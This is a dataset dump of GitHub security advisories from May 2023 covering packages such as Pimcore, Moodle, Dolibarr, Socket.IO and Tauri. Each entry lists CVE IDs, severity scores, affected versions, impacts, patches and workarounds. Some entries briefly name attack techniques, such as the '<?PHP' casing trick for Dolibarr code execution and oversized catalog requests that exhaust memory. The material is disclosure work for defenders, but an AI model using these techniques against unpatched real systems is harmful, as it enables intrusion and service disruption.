aswin1906/github-advisory-2023 huggingface dataset:
Pimcore vulnerable to Business Logic Errors via Customer automation rules (GHSA-x99j-r8vv-gwwj)
Aliases: CVE-2023-32075
Published: 2023-05-11T16:39:47Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/customer-management-framework-bundle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.3.9'}]}]}]

### Impact
Business Logic Errors in the Conditions tab since the counter can be a negative number.

This vulnerability is capable of the unlogic in the counter value in the Conditions tab.

### Patches
Update to version 3.3.9 or apply this patch manually https://github.com/pimcore/customer-data-framework/commit/e3f333391582d9309115e6b94e875367d0ea7163.patch

### Workarounds
Apply https://github.com/pimcore/customer-data-framework/commit/e3f333391582d9309115e6b94e875367d0ea7163.patch manually.

### References
https://huntr.dev/bounties/cecd7800-a996-4f3a-8689-e1c2a1e0248a/
Froxlor vulnerable to Allocation of Resources Without Limits or Throttling (GHSA-4gm9-c9jq-g523)
Aliases: CVE-2023-2666
Published: 2023-05-19T18:30:25Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'froxlor/froxlor'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.16'}]}]}]

Froxlor prior to 2.0.16 has a password reset page with no rate limit.
Pimcore Cross-site Scripting (XSS) vulnerability in Admin Translations (GHSA-w766-3572-f2hv)
Aliases: CVE-2023-2630
Published: 2023-05-11T20:42:37Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.5.21'}]}]}]

### Impact
Execute Javascript code on victim browsers and potentially steal cookies to takeover their account.

### Patches
Update to version 10.5.21 or apply this patches manually
https://github.com/pimcore/pimcore/commit/7e32cc28145274ddfc30fb791012d26c1278bd38.patch

### Workarounds
Apply patches manually: https://github.com/pimcore/pimcore/commit/7e32cc28145274ddfc30fb791012d26c1278bd38.patch

### References
https://huntr.dev/bounties/e1001870-b8d8-4921-8b9c-bbdfb1a1491e/
distribution catalog API endpoint can lead to OOM via malicious user input (GHSA-hqxw-f8mx-cpmw)
Aliases: CVE-2023-2253
Published: 2023-05-11T20:37:54Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/docker/distribution'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.8.2-beta.1'}]}]}]

### Impact

Systems that run `distribution` built after a specific commit running on memory-restricted environments can suffer from denial of service by a crafted malicious `/v2/_catalog` API endpoint request. 

### Patches

Upgrade to at least 2.8.2-beta.1 if you are running `v2.8.x` release. If you use the code from the main branch, update at least to the commit after [f55a6552b006a381d9167e328808565dd2bf77dc](https://github.com/distribution/distribution/commit/f55a6552b006a381d9167e328808565dd2bf77dc).

### Workarounds

There is no way to work around this issue without patching. Restrict access to the affected API endpoint: see the recommendations section.

### References

`/v2/_catalog` endpoint accepts a parameter to control the maximum amount of records returned (query string: `n`).

When not given the default `n=100` is used.  The server trusts that `n` has an acceptable value, however when using a 
maliciously large value, it allocates an array/slice of `n` of strings before filling the slice with data.

This behaviour was introduced ~7yrs ago [1].

### Recommendation

The `/v2/_catalog` endpoint was designed specifically to do registry syncs with search or other API systems. Such an endpoint would create a lot of load on the backend system, due to overfetch required to serve a request in certain implementations.

Because of this, we strongly recommend keeping this API endpoint behind heightened privilege and avoiding leaving it exposed to the internet.

###  For more information

If you have any questions or comments about this advisory:
* Open an issue in [distribution repository](https://github.com/distribution/distribution)
* Email us at [cncf-distribution-security@lists.cncf.io](mailto:cncf-distribution-security@lists.cncf.io)

[1] [faulty commit](https://github.com/distribution/distribution/blob/b7e26bac741c76cb792f8e14c41a2163b5dae8df/registry/handlers/catalog.go#L45)
antfu/utils vulnerable to prototype pollution (GHSA-p2fh-2h23-6grg)
Aliases: CVE-2023-2972
Published: 2023-05-30T12:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:L
Affected: [{'package': {'ecosystem': 'npm', 'name': '@antfu/utils'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.7.3'}]}]}]

Prototype Pollution in GitHub repository antfu/utils prior to 0.7.3.
Exposure of Sensitive Information in OPC UA .NET Standard Reference Server (GHSA-4cvp-hr63-822j)
Aliases: CVE-2023-31048
Published: 2023-05-05T02:19:11Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'NuGet', 'name': 'OPCFoundation.NetStandard.Opc.Ua.Core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.371.86'}]}]}, {'package': {'ecosystem': 'NuGet', 'name': 'OPCFoundation.NetStandard.Opc.Ua.Server'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.4.371.86'}]}]}]

This security update resolves a vulnerability in the OPC UA .NET Standard Reference Server that allows
remote attackers to send malicious requests that expose sensitive information.

https://files.opcfoundation.org/SecurityBulletins/OPC%20Foundation%20Security%20Bulletin%20CVE-2023-31048.pdf
Insufficient validation when decoding a Socket.IO packet (GHSA-cqmj-92xf-r6r9)
Aliases: CVE-2023-32695
Published: 2023-05-23T19:55:13Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'npm', 'name': 'socket.io-parser'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.0.4'}, {'fixed': '4.2.3'}]}]}, {'package': {'ecosystem': 'npm', 'name': 'socket.io-parser'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.4.0'}, {'fixed': '3.4.3'}]}]}]

### Impact

A specially crafted Socket.IO packet can trigger an uncaught exception on the Socket.IO server, thus killing the Node.js process.

```
TypeError: Cannot convert object to primitive value
       at Socket.emit (node:events:507:25)
       at .../node_modules/socket.io/lib/socket.js:531:14
```

### Patches

A fix has been released today (2023/05/22):

- https://github.com/socketio/socket.io-parser/commit/3b78117bf6ba7e99d7a5cfc1ba54d0477554a7f3, included in `socket.io-parser@4.2.3`
- https://github.com/socketio/socket.io-parser/commit/2dc3c92622dad113b8676be06f23b1ed46b02ced, included in `socket.io-parser@3.4.3`

| `socket.io` version | `socket.io-parser` version                                                                              | Needs minor update?                  |
|---------------------|---------------------------------------------------------------------------------------------------------|--------------------------------------|
| `4.5.2...latest`    | `~4.2.0` ([ref](https://github.com/socketio/socket.io/commit/9890b036cf942f6b6ad2afeb6a8361c32cd5d528)) | `npm audit fix` should be sufficient |
| `4.1.3...4.5.1`     | `~4.1.1` ([ref](https://github.com/socketio/socket.io/commit/7c44893d7878cd5bba1eff43150c3e664f88fb57)) | Please upgrade to `socket.io@4.6.x`  |
| `3.0.5...4.1.2`     | `~4.0.3` ([ref](https://github.com/socketio/socket.io/commit/752dfe3b1e5fecda53dae899b4a39e6fed5a1a17)) | Please upgrade to `socket.io@4.6.x`  |
| `3.0.0...3.0.4`     | `~4.0.1` ([ref](https://github.com/socketio/socket.io/commit/1af3267e3f5f7884214cf2ca4d5282d620092fb0)) | Please upgrade to `socket.io@4.6.x`  |
| `2.3.0...2.5.0`     | `~3.4.0` ([ref](https://github.com/socketio/socket.io/commit/cf39362014f5ff13a17168b74772c43920d6e4fd)) | `npm audit fix` should be sufficient |


### Workarounds

There is no known workaround except upgrading to a safe version.

### For more information

If you have any questions or comments about this advisory:

- Open a discussion [here](https://github.com/socketio/socket.io/discussions)

Thanks to [@rafax00](https://github.com/rafax00) for the responsible disclosure.
toui allows user-specific variables to be shared between users (GHSA-hh7j-pg39-q563)
Aliases: CVE-2023-33175
Published: 2023-05-24T17:38:52Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'toui'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.1'}, {'fixed': '2.4.1'}]}]}]

### Impact
Websites that use `Website.user_vars` property in versions.

### Patches
It affects versions v2.0.1 to v2.4.0. Please upgrade to v2.4.1

### Workarounds
Do not use `Website.user_vars` in websites when using versions v2.0.1 to v2.4.0. Also, do not use `Website.signin_user()` in version v2.4.0 only.

### Explanation
ToUI is using Flask-Caching (SimpleCache) to store user variables. My misunderstanding was that these caches are stored in the client's browser, but it seems that these are stored in the server side.
Moodle vulnerable to stored Cross-site Scripting (GHSA-w2pm-fr62-jgv4)
Aliases: CVE-2021-27131
Published: 2023-05-16T21:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '3.10.1'}]}]}]

Moodle 3.10.1 is vulnerable to persistent/stored cross-site scripting (XSS) due to the improper input sanitization on the "Additional HTML Section" via "Header and Footer" parameter in `/admin/settings.php`. This vulnerability may lead an attacker to steal admin and all user account cookies by storing the malicious XSS payload in Header and Footer.
Possible prototype pollution in metadata record, when using meta decorator (GHSA-wwxh-74fx-33c6)
Aliases: CVE-2023-30857
Published: 2023-05-01T14:01:02Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'npm', 'name': '@aedart/support'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.6.1'}]}]}]

### Impact

Possible prototype pollution for the `MetadataRecord`, when merged with a base class' metadata object, in `meta` decorator from the `@aedart/support` package.

The likelihood is questionable, given that a class' metadata can only be set or altered when the class is decorated via `meta()`. Furthermore, object(s) of sensitive nature would have to be stored as metadata, before this can become a vulnerability.
### Patches

Has been patched in version `0.6.1`.
keep-module-latest vulnerable to Command Injection due to missing input sanitization  (GHSA-wxrx-pc44-rcgc)
Aliases: CVE-2023-26128
Published: 2023-05-27T06:30:41Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'npm', 'name': 'keep-module-latest'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.0.1'}]}]}]

All versions of the package keep-module-latest are vulnerable to Command Injection due to missing input sanitization or other checks and sandboxes being employed to the installModule function.

**Note:**

To execute the code snippet and potentially exploit the vulnerability, the attacker needs to have the ability to run Node.js code within the target environment. This typically requires some level of access to the system or application hosting the Node.js environment.
Jenkins Tag Profiler Plugin vulnerable to Cross-Site Request Forgery (GHSA-49f2-j3pp-22jm)
Aliases: CVE-2023-33003
Published: 2023-05-16T18:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:tag-profiler'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.2'}]}]}]

Jenkins Tag Profiler Plugin 0.2 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to reset profiler statistics.

Additionally, this HTTP endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

As of publication of this advisory, there is no fix.
ClickHouse vulnerable to client certificate password exposure in client exception (GHSA-g8ph-74m6-8m7r)
Published: 2023-05-12T20:18:51Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.clickhouse:clickhouse-client'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.4.6'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'com.clickhouse:clickhouse-jdbc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.4.6'}]}]}, {'package': {'ecosystem': 'Maven', 'name': 'com.clickhouse:clickhouse-r2dbc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.4.6'}]}]}]

### Summary
As initially reported in issue #1331, when client certificate authentication is enabled with password protection, the password (referred to as the client option `sslkey`) may be exposed in client exceptions (e.g., ClickHouseException or SQLException). This vulnerability can potentially lead to unauthorized access, data breaches, and violations of user privacy.

### Details
During the handling of ClickHouseException, the client certificate password may be inadvertently exposed when sslkey is specified. This issue can arise when an exception is thrown during the execution of a query or a database operation. The client certificate password is then included in the exception message, which could be logged or exposed to unauthorized parties.

### Impact
This vulnerability enables an attacker with access to client exception error messages or logs to obtain client certificate passwords, potentially allowing unauthorized access to sensitive information, data manipulation, and denial of service attacks. The extent of the risk depends on the specific implementation and usage of the affected systems. However, any exposure of client certificate passwords should be treated as a high-priority security concern.
m.static Directory Traversal vulnerability (GHSA-vcxh-qvgr-9fw9)
Aliases: CVE-2023-26126
Published: 2023-05-10T06:30:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'npm', 'name': 'm.static'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.2.0'}]}]}]

All versions of the package m.static are vulnerable to Directory Traversal due to improper input sanitization of the path being requested via the requestFile function.
Cross-site scripting in Liferay Portal (GHSA-mvfv-w3fq-xp67)
Aliases: CVE-2023-33941
Published: 2023-05-24T15:30:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.liferay.portal:release.portal.bom'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.4.3.41'}, {'fixed': '7.4.3.53'}]}]}]

Multiple cross-site scripting (XSS) vulnerabilities in the Plugin for OAuth 2.0 module's OAuth2ProviderApplicationRedirect class in Liferay Portal 7.4.3.41 through 7.4.3.52, and Liferay DXP 7.4 update 41 through 52 allow remote attackers to inject arbitrary web script or HTML via the (1) code, or (2) error parameter.
malformed proposed intoto entries can cause a panic (GHSA-frqx-jfcm-6jjr)
Aliases: CVE-2023-33199
Published: 2023-05-26T19:39:03Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/sigstore/rekor'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.2.0'}]}]}]

### Impact
A malformed proposed entry of the `intoto/v0.0.2` type can cause a panic on a thread within the Rekor process. The thread is recovered so the client receives a 500 error message and service still continues, so the availability impact of this is minimal.

### Patches
This is fixed in v1.2.0 of Rekor.

### Workarounds
No

### References
Discovered by OSS-Fuzz
kiwitcms vulnerable to stored XSS via unrestricted files upload (GHSA-x7c2-7wvg-jpx7)
Aliases: CVE-2023-32686
Published: 2023-05-22T19:39:46Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'kiwitcms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '12.3'}]}]}]

### Impact
Kiwi TCMS allows users to upload attachments to test plans, test cases, etc. Earlier versions of Kiwi TCMS had introduced upload validators in order to prevent potentially dangerous files from being uploaded, see [GHSA-fwcf-753v-fgcj](https://github.com/kiwitcms/Kiwi/security/advisories/GHSA-fwcf-753v-fgcj) and Content-Security-Policy definition to prevent cross-site-scripting attacks, see [GHSA-2wcr-87wf-cf9j](https://github.com/kiwitcms/Kiwi/security/advisories/GHSA-2wcr-87wf-cf9j).

The upload validation checks were not robust enough which left the possibility of an attacker to circumvent them and upload a potentially dangerous file. Exploting this flaw a combination of files could be uploaded so that they work together to circumvent the existing Content-Security-Policy and allow execution of arbitrary JavaScript in the browser.

### Patches
- File upload validation code has been improved
- Kiwi TCMS will now force `Content-Type: text/plain`  when serving uploaded files

### Workarounds

1) Force the Content-Type header via a custom Django middleware, see `ExtraHeadersMiddleware` in https://github.com/kiwitcms/Kiwi/blob/master/tcms/core/middleware.py#L23 and/or
2) Force the Content-Type header via Nginx overrides, see `location /uploads/` in https://github.com/kiwitcms/Kiwi/blob/master/etc/nginx.conf

### References
Disclosed by [Antonio Spataro](https://huntr.dev/bounties/db75275f-8bcd-482b-ae12-feff660d4794) and [ek1ng](https://huntr.dev/bounties/46d5b535-bdff-4b98-8691-a907591fcf10/). Additional credits to [Ahmed Rabeaa Mosa](https://huntr.dev/bounties/cbc2676a-90ff-457f-9cdc-2a7981f960f3/).
Dolibarr vulnerable to remote code execution via uppercase manipulation (GHSA-9wqr-5jp4-mjmh)
Aliases: CVE-2023-30253
Published: 2023-05-29T21:30:17Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'dolibarr/dolibarr'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '17.0.1'}]}]}]

Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.
Tauri Open Redirect Vulnerability Possibly Exposes IPC to External Sites (GHSA-4wm2-cwcf-wwvp)
Aliases: CVE-2023-31134
Published: 2023-05-03T21:57:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'crates.io', 'name': 'tauri'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.0.0'}, {'fixed': '1.0.9'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'tauri'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.1.0'}, {'fixed': '1.1.4'}]}]}, {'package': {'ecosystem': 'crates.io', 'name': 'tauri'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.2.0'}, {'fixed': '1.2.5'}]}]}]

### Impact
The Tauri IPC is usually strictly isolated from external websites but the isolation can be bypassed by redirecting an existing Tauri window to an external website. This is either possible by an application implementing a feature for users to visit arbitrary websites or due to a bug allowing the open redirect[^open-redirect].

This allows the external website access to the IPC layer and therefore to all configured and exposed Tauri API endpoints and application specific implemented Tauri commands.

### Patches
This issue has been patched in the latest release and was backported to all previous `1.x` releases.

### Workarounds
Prevent arbitrary input in redirect features. Only allow trusted websites access to the IPC.

### References

The feature to enable this behavior in a more constrained way was introduced in the `1.3` release and documentation around this can be found in the [documentation](https://tauri.app/v1/api/config/#securityconfig.dangerousremotedomainipcaccess).

[^open-redirect]: [https://en.wikipedia.org/wiki/Open_redirect](https://en.wikipedia.org/wiki/Open_redirect)
LavaLite vulnerable to Cross Site Scripting (GHSA-h538-r9x6-rcmc)
Aliases: CVE-2023-30124
Published: 2023-05-18T03:30:20Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'lavalite/cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '9.0.0'}]}]}]

LavaLite v9.0.0 is vulnerable to Cross Site Scripting (XSS).
Synapse does not apply enough checks to servers requesting auth events of events in a room (GHSA-45cj-f97f-ggwv)
Aliases: CVE-2022-39335
Published: 2023-05-24T17:20:43Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'matrix-synapse'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.69.0'}]}]}]

### Impact
Synapse is an open-source Matrix homeserver written and maintained by the Matrix.org Foundation. The Matrix Federation API allows remote homeservers to request the *authorisation events* of events in a room. This is necessary so that a homeserver receiving some events can validate that those events are legitimate and permitted in their room.
However, in versions of Synapse up to and including 1.68.0, a Synapse homeserver answering a query for authorisation events does not sufficiently check that the requesting server should be able to access them.

Authorisation events include power level events (the list of user IDs and their power levels at the time) and relevant membership events (including the display name of the sender of that event), as well as events like `m.room.create`, `m.room.third_party_invite` and `m.room.join_rules`. Non-authorisation events are unaffected, so it isn't possible to e.g. extract message contents this way.

This issue is only exploitable when a malicious actor knows the ID of a target room and the ID of an event from that room. In most cases, this makes exploitation infeasible. This issue is of negligible consequence for public rooms given that any server can easily join the room in order to be allowed to view authorisation events. Further, deployments in a closed federation where all homeservers are trustworthy are not affected.


### Patches

The issue was patched in Synapse 1.69.0. Homeserver administrators are advised to upgrade.


### Workarounds

Synapse can be configured with a list of servers that it is allowed to federate with [`federation_domain_whitelist`]. If this list is in use and all the servers on the list are trusted not to exploit this issue, then this issue is of no consequence.

This workaround is not practical for homeservers participating in open federation as interaction with any server not on the list would have to happen indirectly through servers that are, leading to inconsistent delays in message delivery.

[`federation_domain_whitelist`]: https://matrix-org.github.io/synapse/v1.68/usage/configuration/config_documentation.html#federation_domain_whitelist

### References

Fixed in https://github.com/matrix-org/synapse/pull/13823.


### For more information

If you have any questions or comments about this advisory, e-mail us at security@matrix.org.
Moodle SQL Injection vulnerability (GHSA-7mmc-22g7-3xq2)
Aliases: CVE-2023-30944
Published: 2023-05-02T21:31:48Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'moodle/moodle'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.2.0-rc2'}]}]}]

The vulnerability was found Moodle which exists due to insufficient sanitization of user-supplied data in external Wiki method for listing pages. A remote attacker can send a specially crafted request to the affected application and execute limited SQL commands within the application database.
kyverno seccomp control can be circumvented (GHSA-33hq-f2mf-jm3c)
Aliases: CVE-2023-33191
Published: 2023-05-25T16:58:48Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/kyverno/kyverno'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '1.9.2'}, {'fixed': '1.9.4'}]}]}]

### Impact

Users of the podSecurity (`validate.podSecurity`) subrule in Kyverno versions v1.9.2 and v1.9.3 may be unable to enforce the check for the Seccomp control at the baseline level when using a `version` value of `latest`. There is no effect if a version number is referenced instead. See the [documentation](https://kyverno.io/docs/writing-policies/validate/#pod-security) for information on this subrule type. Users of Kyverno v1.9.2 and v1.9.3 are affected.

### Patches

v1.9.4
v1.10.0

### Workarounds

To work around this issue without upgrading to v1.9.4, temporarily install individual policies for the respective Seccomp checks in baseline [here](https://kyverno.io/policies/pod-security/baseline/restrict-seccomp/restrict-seccomp/) and restricted [here](https://kyverno.io/policies/pod-security/restricted/restrict-seccomp-strict/restrict-seccomp-strict/).

### References

* https://kyverno.io/docs/writing-policies/validate/#pod-security
* https://github.com/kyverno/kyverno/pull/7263
In Lima, a malicious disk image could read a single file on the host filesystem as a qcow2/vmdk backing file (GHSA-f7qw-jj9c-rpq9)
Aliases: CVE-2023-32684
Published: 2023-05-31T23:38:28Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:C/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/lima-vm/lima'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.16.0'}]}]}]

> **Note**
>
> The official templates of Lima, and the well-known third party products (Colima, Rancher Desktop, and Finch) are *unlikely* to be affected by this issue.

### Impact
A virtual machine instance with a malicious disk image could read a single file on the host filesystem, even when no filesystem is mounted from the host.

To exploit this issue, the attacker has to embed the target file path (an absolute or a relative path from the instance directory) in a malicious disk image, as the [qcow2 (or vmdk) backing file path string](https://gitlab.com/qemu-project/qemu/-/blob/v8.0.0/docs/interop/qcow2.txt#L23-L34).
As Lima refuses to run as the root, it is practically impossible for the attacker to read the entire host disk via `/dev/rdiskN`.
Also, practically, the attacker cannot read at least the first 512 bytes (MBR) of the target file.

### Patches
Patched in Lima v0.16.0, by prohibiting using a backing file path in the VM base image.

### Workarounds
Do not use an untrusted disk image.
Jenkins TestNG Results Plugin Stored Cross-site Scripting vulnerability (GHSA-h3hg-r97v-5r9w)
Aliases: CVE-2023-32984
Published: 2023-05-16T18:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:testng-plugin'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '730.732.v959a'}]}]}]

Jenkins TestNG Results Plugin 730.v4c5283037693 and earlier does not escape several values that are parsed from TestNG report files and displayed on the plugin’s test information pages.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to provide a crafted TestNG report file.

TestNG Results Plugin 730.732.v959a_3a_a_eb_a_72 escapes the affected values that are parsed from TestNG report files.
teampass vulnerable to code injection (GHSA-prj5-2g2p-x2mw)
Aliases: CVE-2023-2591
Published: 2023-05-09T12:30:22Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'nilsteampassnet/teampass'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '3.0.7'}]}]}]

In nilsteampassnet/teampass prior to 3.0.7, if two users have the same folder access, malicious users can create an item where its label field is vulnerable to HTML injection. When other users see that item, it may force them to redirect to the attacker's website or capture their data using a form. The issue is fixed in version 3.0.7.
Jenkins Code Dx Plugin missing permission checks (GHSA-mjmf-7wjw-f5xx)
Aliases: CVE-2023-2631
Published: 2023-05-16T21:30:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.jenkins-ci.plugins:codedx'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.0.0'}]}]}]

Jenkins Code Dx Plugin 3.1.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL.

Additionally, these HTTP endpoints do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Code Dx Plugin 4.0.0 requires POST requests and the appropriate permissions for the affected HTTP endpoints.
Cross-site scripting in Liferay Portal (GHSA-wvhw-5m89-64gv)
Aliases: CVE-2023-33938
Published: 2023-05-24T15:30:27Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.liferay.portal:release.portal.bom'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '7.3.0'}, {'fixed': '7.4.1'}]}]}]

Cross-site scripting (XSS) vulnerability in the App Builder module's custom object details page in Liferay Portal 7.3.0 through 7.4.0, and Liferay DXP 7.3 before update 14 allows remote attackers to inject arbitrary web script or HTML via a crafted payload injected into an App Builder custom object's `Name` field.
Duplicate Advisory: Keycloak vulnerable to untrusted certificate validation (GHSA-c892-cwq6-qrqf)
Published: 2023-05-26T18:30:21Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.keycloak:keycloak-core'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '21.1.1'}]}]}]

## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-5cc8-pgp5-7mpm. This link is maintained to preserve external references.

## Original Advisory
A flaw was found in Keycloak. This flaw depends on a non-default configuration "Revalidate Client Certificate" to be enabled and the reverse proxy is not validating the certificate before Keycloak. Using this method an attacker may choose the certificate which will be validated by the server. If this happens and the KC_SPI_TRUSTSTORE_FILE_FILE variable is missing/misconfigured, any trustfile may be accepted with the logging information of "Cannot validate client certificate trust: Truststore not available". This may not impact availability as the attacker would have no access to the server, but consumer applications Integrity or Confidentiality may be impacted considering a possible access to them. Considering the environment is correctly set to use "Revalidate Client Certificate" this flaw is avoidable.
